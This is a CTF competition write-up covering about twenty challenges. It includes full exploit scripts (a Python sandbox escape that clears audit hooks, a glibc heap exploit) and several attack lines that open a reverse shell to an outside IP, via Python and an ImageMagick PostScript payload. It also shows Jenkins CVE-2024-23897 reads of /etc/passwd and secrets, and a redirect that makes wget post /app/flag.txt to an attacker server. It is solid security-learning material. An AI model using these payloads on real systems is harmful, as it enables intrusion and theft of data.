Scoreboard & Thoughts

This was a pretty good ctf, most of the challenges being not that guessy with a few exceptions, my favourite challenge was luma-chain for which I wrote a very detailed writeup.

Kudos to the top 7 players.

x

Luma-Chain: Pwn

The binary implemented a custom blockchain with the options to view balance, add balance, shit post and create contract

The create contract function had a feature where it would run our contract code in a restricted environment

exec(
    compiled,
    {
        "__builtins__": {
            "__build_class__": __build_class__,
            "__name__": __name__,
            "id": id,
        },
        "input": input,
        "result": result,
    },
    {"__builtins__": {}},
)

The blockchain also implemented audit hooks to block calls everything except builtins.id, cpython.PyInterpreterState_Clear and cpython._PySys_ClearAuditHooks, the last 2 being unable to be called anyways from standard python as they are internal cython calls.

static int audit(const char *event, PyObject *args, void *userData) {
  printf("arg1 = %s\n", event);

  if (!strcmp(event, "builtins.id")) {
    return 0;
  }

  if (!strcmp(event, "cpython.PyInterpreterState_Clear")) {
    return 0;
  }

  if (!strcmp(event, "cpython._PySys_ClearAuditHooks")) {
    return 0;
  }

  if (running) {
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    exit(1);
  }

  if (!running && !strcmp(event, "exec"))
    running = 1;

  return 0;
}

The blockchain intracted with an internal program using shared memory we could write with the output of the contract

result = result[:56]

shmem.seek(0)
shmem.write(struct.pack("@I", type) + struct.pack("@I", len(result)) + result)

shmem.close()

We could easily spot a BOF in the internal program in the parser function, the code running memcpy without checking if message_length>56

void handle_message() {
  char buf[56];

  uint32_t message_type = ((volatile uint32_t *)shared_memory)[0];
  uint32_t message_length = ((volatile uint32_t *)shared_memory)[1];

  memcpy(buf, (void *)&shared_memory[8], message_length);

  switch (message_type) {
  case MESSAGE_TYPE_ADD: {
    lumacash += *(uint64_t *)&buf[0];
  } break;
  case MESSAGE_TYPE_SHITPOST: {
    memcpy(last_shitpost, buf, message_length);
    system("curl -X POST -d \"ban_my_account=True\" "
           "luciphp://cyber-edu.avadanei.co:69420");
  } break;
  case MESSAGE_TYPE_GET: {
    memcpy((void *)shared_memory, &lumacash, sizeof(lumacash));
    msync((void *)shared_memory, SHARED_MEMORY_SIZE, MS_SYNC);
  } break;
  }
}

However there was no way to trivially abuse this as the python code blocked our overflow attempts using result = result[:56].

So what now?

Well considering we can run python, I enumerated what we had access to, as we didnt have builtins we needed a way to recover them.

We had access to __name__, __build_class__ and id, as __build_class__.__self__ doesn’t trigger any hooks we can use that to retrieve builtins and useful functions we are going to use later

gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset =  __build_class__.__self__.bytearray.__setitem__
baget =  __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getatt

My first thought was to try to overwrite the class of the result array to overwrite the __getitem__ constructor to make it so that when result = result[:56] is called it just returns the full array.

However after a lot of testing I determined this exploitation path was not feasible as there was no way to overwrite and save the bytearray constructor without triggering hooks.

Considering I could call almost nothing due to the hooks, I rechecked what I had access to and saw that the id function could return the memory location of anything we gave as the first argument.

This is a primitive close arbitrary read, and if you thought this seems useless without any writes you would be right!

Having an arbitrary read, I tried ways of triggering an arbitrary write and while this doesnt even seem possible in a language as safe as python if you thought you would be very wrong lol.

Enter MEMORY CORRUPTION. We can actually trigger an UAF to gain an arbitrary write primitive, here’s an example on how you can do that

class lol:
    def __index__(self):
        global xd, yes
        del yes[:]
        xd = __build_class__.__self__.bytearray()
        yes.extend([0] * 56)
        return 1

yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())

baset(xd, id(200) + 24, 255)
print(200)

Now armed with an arbitrary read and an arbitrary write, we just had to get code execution. After many failed attempts I realised the audit hooks were stored somewhere in memory and since the python binary was compiled with no PIE in the container we could figure out the address where they were loaded

linuxvb@linuxvb-VirtualBox:~/ctfs/unr2025-solo/luma-chain$ checksec pythoncontainer
[*] '/home/linuxvb/ctfs/unr2025-solo/luma-chain/pythoncontainer'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled

I got the offset from static analysis with ida of the PySys_AddAuditHook function combined with dynamic analysis with gdb and used something like this to leak where the hooks were being loaded in memory. Keep in mind we still need to avoid the hooks catching us.

subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)

wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)

glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)

aud = ga(sys.audit, "__init__")
print(aud)

audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))


audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)

Now that I knew where they were located I just 0’d them out so they would affect the program anymore and just popped a reverse shell using system

baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")

The flag was CTF{wow_you_ju5+_e5c@ped_+he_1um@_ch@in_on_5ki6idi_k09c82k90ck@0r}

Full exploit script below

from pwn import *
context.log_level = 'debug'
host, port = '127.0.0.1',8081
def newp():
	return remote(host, port)
    

def send_contract(payload,inp):
    payload = payload.hex().encode()
    inp = inp.hex().encode()
    p.sendline(b'/contract' + b' ' + payload + b' ' + inp)

p = newp()

payload = b'''
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset =  __build_class__.__self__.bytearray.__setitem__
baget =  __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getattr

def read_qword(mem, addr):
    global baget
    b = []
    for i in __build_class__.__self__.range(8):
        b.append(baget(mem, addr + i))
    return __build_class__.__self__.int.from_bytes(__build_class__.__self__.bytes(b), 'little')

class lol:
    def __index__(self):
        global xd, yes
        del yes[:]
        xd = __build_class__.__self__.bytearray()
        yes.extend([0] * 56)
        return 1

yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())


subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)

wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)

glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)

aud = ga(sys.audit, "__init__")
print(aud)

audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))


audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)

baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
'''
inp = b'0'
send_contract(payload, inp)
p.close()

xps: Pwn

We receive a classic heap menu challenge.

Option 1 allows us to malloc up to 16 chunks at the same time of a size of our choice. The first bug was in how it saved the data as it didn’t account for when the length was maximum so we had a null byte overflow.

buf = malloc(v2);
printf("Msg: ");
read(0, buf, v2);
*((_BYTE *)buf + v2) = 0;

Right after that was our second bug as the chunks were immediately printed using %s so if any pointers were present in the first bytes we could get a leak

int __fastcall cps_transform(__int64 a1)
{
  unsigned int v1; // eax
  char *format; // [rsp+20h] [rbp-10h]

  v1 = time(0LL);
  srand(v1);
  format = (&xss_payloads)[rand() % 9LL]; // all of these printed using %s
  printf("Transformed payload: ");
  printf(format, a1);
  return putchar(10);
}

We also had the option to free chunks which 0’d out the pointer and also memset the first 16 bytes to 0, a pretty secure implementation

int __fastcall free_memory(unsigned __int8 a1)
{
  int result; // eax

  if ( !*(&saveAllocations + a1) || a1 > 16u )
    return puts("Incorrect index.");
  memset(*(&saveAllocations + a1), 0, 0x10uLL);
  free(*(&saveAllocations + a1));
  result = a1;
  *(&saveAllocations + a1) = 0LL;
  return result;
}

So we just have to implement a classic null byte overflow with no additional protections as libc was 2.25. The only thing to keep in mind is that at lines 51,52 in the code the order needs to be

delete(1)
delete(0)

If you invert the operations the first free will 0 out the size field of chunk 1 and this will crash.

Exploit script

from pwn import *
context.log_level = 'debug'
context.binary = binary = './xps'
given_libc = './libc.so.6'
libc = ELF(given_libc)

elf = ELF(binary)
host, port = '35.198.148.201',32465
def newp():
	if args.REMOTE:
		return remote(host, port)
	return process(elf.path)

def create(index, size, data): #create chunk
	p.sendlineafter(b'3. Exit\n> ', b'1')
	p.sendlineafter(b'Index: ', str(index).encode())
	p.sendlineafter(b'Size: ', str(size).encode())
	p.sendafter(b'Msg: ', data)

def delete(index): #delete chunk
	p.sendlineafter(b'3. Exit\n> ', b'2')
	p.sendlineafter(b'Index: ', str(index).encode())


p = newp()
create(0, 0xf8, b'A'*0xf8)
create(1, 0x68, b'B'*0x68)
create(2, 0xf8, b'C'*0xf8)
create(3, 0x10, b'D'*0x10)
delete(0)
delete(1)


create(0, 0x68, b'B'*0x60 + p64(0x170))
delete(2)
create(1, 0xf6, b'E')


#p.interactive()

leak = p.recvline().split(b'alert("')[1].split(b'")>')[0]
leak = u64(leak.ljust(8, b'\x00'))
print(f'Leaked libc address: {hex(leak)}')
libc_base = leak - 0x397d45
print(f'Libc base: {hex(libc_base)}')


delete(1)
create(1, 0x100, b'B'*0xf8 + p64(0x70))

delete(1)
delete(0)


malloc_hook_offset = libc.sym['__malloc_hook'] - 0x23
print(malloc_hook_offset)

malloc_hook = libc_base + malloc_hook_offset
print(f'Malloc hook: {hex(malloc_hook)}')

create(0, 0x108, b'F'*0xf8 + p64(0x70) + p64(malloc_hook))
create(1, 0x68, b'B'*0x68)

gadget_offset = 0xd6fb1
gadget = libc_base + gadget_offset


create(2, 0x68, 0x13*b'G'+p64(gadget)+0x4d*b'\x00')


p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'Size: ', b'0x20')

p.interactive()

Flag was UNBR{11f0693ffa307c21cafb41e7345668a6c6ed40d93d220d247275d793d8926374}

secretBook: Crypto

After installing the files we are presented with some pictures, a binary and an encrypted text.

Firstly to reverse the binary extract the embedded pyc using pyinstxtractor-ng and decompile it to obtain this source

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: open_book_app.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import sys
import os
wordlist_file = 'inspiration.txt'
input_file = 'my_secret_book_draft.secure'
output_file = 'my_secret_book_draft.txt'

def load_wordlist(wordlist_file):
    """Load words from the wordlist file into a list."""  # inserted
    if not os.path.isfile(wordlist_file):
        print('I must find my inspiration')
        sys.exit(1)
    try:
        with open(wordlist_file, 'r', encoding='utf-8') as f:
            words = [line.strip() for line in f if line.strip()]
            return words
    except FileNotFoundError:
        print(f'Error: {wordlist_file} not found.')
        sys.exit(1)

def xor_file_with_words(input_file, words, order):
    """XOR file content with words from the list in the specified order."""  # inserted
    try:
        with open(input_file, 'rb') as f:
            data = f.read()
        xored_data = data
        for idx in order:
            word = words[idx]
            word_bytes = word.encode('utf-8')
            word_bytes_repeated = word_bytes * (len(xored_data) // len(word_bytes) + 1)
            xored_data = bytes((d ^ k for d, k in zip(xored_data, word_bytes_repeated[:len(xored_data)])))
        return xored_data
    except FileNotFoundError:
        print(f'Error: {input_file} not found.')
        sys.exit(1)

def save_output_to_file(output_data, output_file):
    """Save the XOR result to a text file."""  # inserted
    try:
        with open(output_file, 'wb') as f:
            f.write(output_data)
            print(f'Decrypted output saved to {output_file}')
    except IOError as e:
        print(f'Error saving to {output_file}: {e}')
        sys.exit(1)

if __name__ == '__main__':
    if not os.path.isfile(wordlist_file):
        print('I must find my inspiration')
        sys.exit(1)
    order_input = input('Please provide a list: ')
    try:
        order = [int(i) for i in order_input.split(',')]
        words = load_wordlist(wordlist_file)
        if any((idx >= len(words) for idx in order)):
            print('Error: Order indices exceed available words in wordlist.')
            sys.exit(1)
        decrypted_data = xor_file_with_words(input_file, words, order)
        save_output_to_file(decrypted_data, output_file)
    except ValueError:
        print('Error: Invalid input. Please provide a comma-separated list of integers.')
        sys.exit(1)

You can see it xors with words from inspiration.txt at the given indices.

Checking the images we see some have metadata, combining the words from the comments we get the following sentence

The kite flew by the lighthouse as the dolphin swam near the waterfall, while the rainbow arched over the jungle with one parrot flying above.

And now all we need to do is xor with those words right? NO

Because the challenge author has brain damage and doesn’t even know how array’s work we actually had to the take the index of each word+1 and xor with that to get the flag.

The key indices were 102,11,179,235,102,12,112,102,4,233,238,102,23,149,102,18,237,121,102,10,105,31,16,54,131, xor the file with these words to get the flag ctf{8d3acd89dd7a20a18f8a6821a5e4549bac67cfe91d2da09a9ffad957cfc4cee4}.

secret_antidote: Forensics

Running string -n 7 on the file shows some morse, decoding it we get:

THEKEYFORTHEANTIDOTEIS:
GOLF
OSCAR
OSCAR
DELTA
NOVEMBER
INDIA
GOLF
HOTEL
TANGO
GOLF
OSCAR
OSCAR
DELTA
LIMA
UNIFORM
CHARLIE
KILO

Decode the next part with nato phonetic cipher to get the flag: good-night-good-luck -> ctf{9f19fa2836c4a78da54cd418feca82365801f86694fca777a3fd8f9c7dfb5d13}

ardu_composer: Reverse

We can get the first flag part using strings ctf{1878c966930833d2784db21eec0f1

We can get the source code using avr-objdump -d ardu_composer.ino.elf > out.asm

Looking through the source we can see an array named _ZL15epd_bitmap_ctf2. Parsing it to a bitmap reveals the second part of the flag 00e1c4ab07d41d3de32f5b2b16d2ea26dd5}. Here is my script

import numpy as np
import matplotlib.pyplot as plt

def load_bitmap(filename):
    with open(filename, "rb") as f:
        return f.read()

def decode_epd_bitmap(data, width, height, invert=True):
    expected_size = (width * height) // 8
    img = np.zeros((height, width), dtype=np.uint8)
    for row in range(height):
        for col_byte in range(width // 8):
            byte_index = row * (width // 8) + col_byte
            if byte_index >= len(data):
                break
            byte_val = data[byte_index]
            for bit in range(8):
                pixel = (byte_val >> (7 - bit)) & 1
                if invert:
                    pixel = 1 - pixel
                x = col_byte * 8 + bit
                img[row, x] = pixel

    return img

def show_image(img):
    plt.imshow(img, cmap="gray", interpolation="nearest")
    plt.title("Decoded EPD Bitmap")
    plt.axis("off")
    plt.show()

width = 128
height = 64

filename = "epd_bitmap_ctf2.bin"
data = load_bitmap(filename)
img = decode_epd_bitmap(data, width, height,
                        invert=False)

show_image(img)

hunting-phantom-traffic: Forensics

We receive a pcap, openeing it in wireshark we it does a GET on mimikatz.exe in paket 17, this was the answer to Q1.

From that packet you could also get the C2 ip 192.168.100.46

For Q3 just filter by tcp.dstport == 4444 and you’ll see payment.txt in one of the packets.

For Q4 filter by ftp and the other login is ftpuser:ftpuser

And lastly for Q5 use export http objects to get the image and run sha256sum on it c6627f8c7d95d75cc8d2140c63e25d35a28c3df1fdc4c2969694174a771118f2

php-troll: Web

The source is very small, the website opening a file of our choosing and placing the contents in /tmp/dump.txt

<?php

if (!isset($_GET['x'])) {
    highlight_file(__FILE__);
    die();
} 

// Easy, right? The flag is in flag.php
copy($_GET['x'], "/tmp/dump.txt");

This is a classic php filter chain oracle exploit, better detailed here.

Just copy the exploit from here and run it to get the flag

python3 filters_chain_oracle_exploit.py --target http://34.89.160.63:30936/ --file 'flag.php' --parameter x --verb GET

Do note we had to brute the last two chars as there is a 135 (I think) character limit on the exploit and there was some junk before it in the flag.php file.

The flag is CTF{5091db8f148b071726c5dce67f0896cbb1f7ed1d13c1eb05cad74e3096cd8242}

strange-encoding: Crypto

We receive an msg.enc, counting the paranthesis I saw the ( and ) counts were the same so I thought about python.

Doing reverse and rot14 in cyberchef reveals an exec code

exec('x=%x'%('e'==''))==exec('e=%x'%(''==''))==exec('c=%x%%x'%e%e)==exec('c=%x%%x%%%%x%%%%%%%%x'%x%c%e%e)==exec('ee=%x%%x%%%%x'%e%x%c)==exec('ee=%x'%ee)==exec('ee=%x'%ee)==exec('xe=ee%ce%%ce'%ee%ee)==exec('xx=ee%cc'%xe)==exec('xc=xx%ce'%ee)==exec('ce=xc%cc'%ee)==exec('cx=ce%cxx'%ee)==exec('cc=cx%cxc'%ee)==exec('eee=cc%cxx'%ee)==exec('eex=eee%cxe'%xe)==exec('eec=eex%cc'%ee)==exec('exe=eec%ccx'%xe)==exec('exx=xe%cexe'%xe)==exec('exc=eex%cexx'%xe)==exec('ece=eee%cexc'%xe)==exec('ecx=ece%cc'%ee)==exec('ecc=ecx%cece'%ee)==exec('xee=ecc%cexx'%xe)==exec('xex=xee%cce'%xe)==exec('xec=xex%cxex'%ee)==exec('xxe=xec%cexx'%ee)==exec('xxx=eee%cxxe'%xe)==exec('xxc=xxx%ce'%xe)==exec('xce=ecc%cxxc'%xe)==exec('xcx=xce%cxex'%ee)==exec('xcc=xcx%cxe'%xe)==exec('cee=eee%cxcc'%xe)==exec('cex=cee%cc'%ee)==exec('cec=cex%cxxx'%xe)==exec('cxe=cec%cxxc'%ee)==exec('cxx=cxe%cexe'%xe)==exec('cxc=cxx%cxc'%ee)==exec('cce=cxc%ccec'%xe)==exec('ccx=eex%ccce'%xe)==exec('ccc=cxc%cccx'%xe)==exec('eeee=ccc%ce'%ee)==exec('eeex=eeee%cccx'%ee)==exec('eeec=eeex%cexx'%xe)==exec('eexe=eeec%cecx'%ee)==exec('eexx=eexe%cee'%xe)==exec('''ex=('%c%%c%%%%c%%%%%%%%c')''')==exec('''ec=('')''')==exec('ec%c=ex%%cxc%%eexx%%eeec%%eeex'%ee)==exec('ec%c=ex%%ccc%%cxx%%ccc%%exe'%ee)==exec('ec%c=ex%%xcc%%cx%%ccx%%eec'%ee)==exec('ec%c=ex%%cxe%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%cec%%cee%%cxc%%cee'%ee)==exec('ec%c=ex%%xce%%xxx%%cxe%%xce'%ee)==exec('ec%c=ex%%ece%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%eeec%%cex%%cex%%xxc'%ee)==exec('ec%c=ex%%cce%%cxe%%cxc%%cce'%ee)==exec('ec%c=ex%%cce%%cxe%%cee%%xxx'%ee)==exec('ec%c=ex%%ece%%xce%%ecx%%xex'%ee)==exec('ec%c=ex%%cxe%%xex%%xee%%xxc'%ee)==exec('ec%c=ex%%cxe%%xex%%ecx%%cxc'%ee)==exec('ec%c=ex%%xce%%cxc%%ecx%%xxx'%ee)==exec('ec%c=ex%%cex%%cxc%%cce%%xex'%ee)==exec('ec%c=ex%%cex%%cxe%%cxc%%cex'%ee)==exec('ec%c=ex%%cec%%xex%%xex%%cxe'%ee)==exec('ec%c=ex%%cec%%cec%%cce%%cce'%ee)==exec('ec%c=ex%%cxc%%xxc%%xce%%cex'%ee)==exec('ec%c=ex%%cc%%exe%%ce%%cex'%ee)==exec('ec%c=ex%%eex%%ecc%%xxe%%xx'%ee)==exec('ec%c=ex%%xxc%%xc%%ce%%xcx'%ee)==exec('ec%c=ex%%exc%%ecc%%xec%%xxe'%ee)==exec('ec%c=ex%%xx%%cxc%%eexx%%eeec'%ee)==exec('''ec%c='%%c'%%eeex'''%ee)==exec('''ec%c='%%c'%%xc'''%ee)==exec(ec)

Changing the last exec to a print shows the flag

flag = 'CTF{d2f44bfb91d932f4aee02df22db13967d7c0d76f9f61ef27edfe477d4422f09e}',exit(0),print(flag)

peroxid: Web

We have a file upload vuln with almost random names generated by

$fileName = uniqid('img_', true) . '.' . $extension;

In addition the file was processed by imagemagick

The first vuln seemed to be a rabbit hole as I didn’t find any good way to brute the php internal_lcg seed.

Searching for exploits related to imagemagick led me to find this article from hackerone

Testing their POC we are able to pop a shell

%!PS 
userdict /setpagedevice undef 
legal 
{ null restore } stopped { pop } if 
legal 
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/159.89.6.53/1337 0>&1') 
currentdevice putdeviceprops

jankin-jenkins: Web

Running whatweb on the website we can see the jenkins version is 2.441.

The version is vulnerable to cve-2024-23897, I used the hackthebox article to exploit. Downloaded the cli from the path /jnlpJars/jenkins-cli.jar

java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/proc/self/environ" | grep -i flag
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/var/jenkins_home/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://34.159.49.236:32521/ connect-node "@/etc/passwd"
java -jar jenkins-cli.jar -s http://34.159.137.2:31767/ connect-node "@/home/flag.txt"

my-specialty: Rev, Crypto

The binary implemented an RSA encryption of the flag, e was 0x10001 so that was secure, the problem lied in how it generated the primes.

It used an algorithm that basically did this to genrate a 2048 bit N.

(r1*r1 + a1) * (r2*r2 + a2)
a1 = 0x539
a2 = 0xCF5
r1 = random
r2 = random

Searching for attacks on this I found this paper that referenced this paper which contained the attack we need.

Now just implement the attack to crack

import math
from sympy import sqrt, integer_nthroot
from Crypto.Util.number import inverse, long_to_bytes
# Given parameters
N =  111707958900765710398221410031164620328420649311968772915979611007865517805846601909323756372539783599211790618155940725387991948861933253593885323199638442580734030737504817890495819757759073024096325203094515946176865037945973409055458780633999967879384662326237303943257654276308848562603079732486635017859839262122813174512291302058416496516406107299062301941633718489405731162561636948933763021960880840333940891398726183134815048236834549300408643029893648730255881015371132638882523979515174080051191974236537301973710910843626918156897539941964896612748181920423528739071835747641814492863951241825082781153
rp = 1337   # 1337 decimal
rq = 3317  # 3317 decimal
m = 2
e = 65537
c = 95359928587764831480911453909207891080325418583420988468597736573261507006173170207060195551022261350232673714121894143070297449503797250510491056609913217292486277150236907018272378301183372848642458193059771358743664373297171128180992999582614219732033289380947350648148990613316165351439300568864887775837728390020938390340957429399228128031681736974383272172501839065156927134436381870106357722355963105434667672618355971178611001662410691625562777671918959424161218537115943248493048668591967661754432967818124467712172625060771944442677444770466047177648215160677042557263736253458151837698445366178657841046


i = int(integer_nthroot(rp*rq,2)[0])
print(i)
i = 1

while i < rq//2 + rp + 1 + 10**6:
    omega = (int(integer_nthroot(N,2)[0]) - i) ** 2
    z = (N - rp * rq) % omega
    i+=1
    disc = z*z - 4*omega*rp*rq
    if disc < 0:
        continue
    sqrt_disc = int(integer_nthroot(disc,2)[0])
    num1 = z + sqrt_disc
    X1 = num1 // 2
    num2 = z - sqrt_disc
    X2 = num2 // 2

    p = (N // (X1 // rq + rp))
    q = (N // (X2 // rq + rp))
    if N%p == 0:
        print('Found p')
        print(p)
        q = N // p
        break
    if N%q == 0:
        print('Found q')
        print(q)
        p = N // q
        break


d = inverse(e, (p-1)*(q-1))
m = pow(c, d, N)
print(m)
m = long_to_bytes(m)
print(m)

The flag was CTF{53e134efb6cf5bdd0f8e035577abb9ffc27130f573689c57ef24dbf5c92ef4b1}

ai-sincs: Forensics

For Q1 just try chatgpt as it’s a well known AI.

For Q2 just do grep -ira \@gmail.com and try all the emails.

For Q4 just do grep -ra sid=29

And for the flag we needed to use volatility to analyse the dump, knowing the user talked to chatgpt I dumped the chatgpt conversation and the flag was there in base32

python3 ~/volatility3/vol.py --file Challenge.elf windows.info
python3 ~/volatility3/vol.py --file Challenge.elf windows.cmdline.CmdLine

python3 ~/volatility3/vol.py --file Challenge.elf windows.filescan.FileScan


python3 ~/volatility3/vol.py -f Challenge.elf windows.dumpfiles.DumpFiles --virtaddr 0x800751c92710

The flag was CTF{7f207508e2f0dcf5b5431447b9d661cb0edc96b5527ae76c38e2a0663d1a9bda}

dev-release: Mobile

Reversing the app we can see it interacts with an api that has the following options

/api/balance
/api/health
/api/items
/api/purchase
/api/reset-balance

Looking where they are used in the source we can see the purchase has a costless option

private static String f139String$0$str$funtoString$classPurchaseRequest = "PurchaseRequest(";
private static String f145String$1$str$funtoString$classPurchaseRequest = "itemId=";
private static String f151String$3$str$funtoString$classPurchaseRequest = ", ";
private static String f155String$4$str$funtoString$classPurchaseRequest = "costless=";
private static String f158String$6$str$funtoString$classPurchaseRequest = ")";

Send a request with it to get the flag

x

fast-hook: Misc

We have an app that sends an OPTIONS request to an url. The restriction is that it should start with https://cyber-edu.co

Try to SSRF with https://cyber-edu.co@test we get

You hacker! Invalid URL! Cannot contain 'co@

This can be easily bypassed by placing some chars after co

https://cyber-edu.colol@wysynbqw.requestrepo.com

Checking the request repo we see the flag

x

Screenshooter: Web

The app was vulnerable to semi CSRF via the /dashboard api

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
    if 'user' not in session:
        return redirect(url_for('login'))
    
    text = request.values.get('text')
    if text:
        # Call the screenshot service
        url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
        result = requests.get(
            SCREENSHOT_SERVICE,
            params={'url': url} # CSRF kinda
        ).json()

        if 'error' in result:
            return 'Error getting screenshot'
        
        return render_template('preview.html', screenshot=result['result'])

    return render_template('dashboard.html')

We could extend our reach using the open-redirect in /login in the next parameter

@app.route('/login', methods=['GET', 'POST'])
def login():
    email = request.values.get('email')
    password = request.values.get('password')
    next_url = request.values.get('next', '/dashboard')

    if not email or not password:
        return render_template('login.html')

    if email in users and users[email] == password:
        session['user'] = email
        return redirect(next_url) # open redirect

    return render_template('login.html')

Now just deploy a server to redirect to locahost:5000 with parameters that post the flag file to our vps

This was exp.py

import os
import random
import requests

from flask import Flask, render_template, request, redirect, url_for, session
from urllib.parse import urljoin


APP_PORT = os.getenv('APP_PORT', 1234)
SERVICE_PORT = os.getenv('SERVICE_PORT', 5000)
FONTS = ['Press Start 2P', 'Bangers', 'Rubik Glitch', 'Fredericka the Great', 'Nosifer', 'Monoton']
SCREENSHOT_SERVICE = f'http://127.0.0.1:{SERVICE_PORT}/screenshot'
users = {}

text = '../login?a=a&a=a'
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')

print(url)

r = requests.session()
url = 'http://127.0.0.1:1234'
url = 'http://34.159.27.166:32152'
resp = r.post(url + '/register',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/login',data={'email':'a','password':'a'})
#print(resp.text)

resp = r.post(url + '/dashboard',data={'text':'../login?email=a&password=a&next=//159.89.6.53:8000'})
print(resp.text)

And this was server.py

from flask import Flask, redirect, request
from flask import Flask, request, redirect
from urllib.parse import urlparse, urlunparse, urlencode, parse_qs
app = Flask(__name__)

# @app.route('/')
# def redirect_to_target():
#     #return redirect('http://localhost:5000/screenshot?url=159.89.6.53:1338%26verbose%3d--post-data="$(echo RCE)"', code=302)
#     return redirect('http://localhost:5000/screenshot?verbose=--post-data="$(echo RCE)"', code=302)

@app.route('/')
def redirect_with_params():
    dest = 'http://localhost:5000/screenshot'
    parsed_url = urlparse(dest)
    query_params = parse_qs(parsed_url.query)
    query_params['verbose'] = '--post-data="$(echo RCE)"'
    query_params['verbose'] = '--post-file=/app/flag.txt'
    query_params['url'] = '159.89.6.53:1338'

    new_query = urlencode(query_params, doseq=True)
    new_url = urlunparse((
        parsed_url.scheme,
        parsed_url.netloc,
        parsed_url.path,
        parsed_url.params,
        new_query,
        parsed_url.fragment
    ))

    return redirect(new_url)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

On port 1338 I just ran a listener and waited for the file upload.

x

Aligator: Web

The website used "next": "14.2.24" so it was vulnerable to CVE-2025-29927

Placing x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware in the request bypassed authorization

Get the first flag from /api/flag

x

For the second part we first had to upload a file to overwrite .gitignore with something that contained crocoLUMA, do that with /api/admin/upload

x

Now just get /admin/flag to get the second part

x

simple-go: Rev

Open the file in ida 8.3 to see that it has a main.getFlag function.

x

Since 8.3 didn’t want to decompile I got its offset 0x10009a2b0 and opened it with ida 7.7, the challenge was just doing a simple xor

x

Made this quick script to decrypt

import struct
from pwn import *

key = p16(14099) + p32(-272716322&0xffffffff)

data = b''
data += p8(80)
data += p32(-1999202205&0xffffffff)
data += p64(0x22D78ECCE9562BDF)
data += p64(0xBF5627DC8DCCE803)
data += p64(0x8B9ABD0377D88DC9)
data += p64(0x27DA86CFEF0771DE)
data += p64(0xE65221DBDB9CBB52)
data += p64(0x8E9DBF0477DB8B9F)
data += p64(0x228B879EE8542BDB)
data += p64(0xA30E2B8A87CBBA53)

print(xor(data,key))

treasure-hunt: Stego

Looking at the image with stegsolve, we can see a sus line in Red Plane 3.

x

Extracting the Red LSB 3 from the image we can see this in the strings

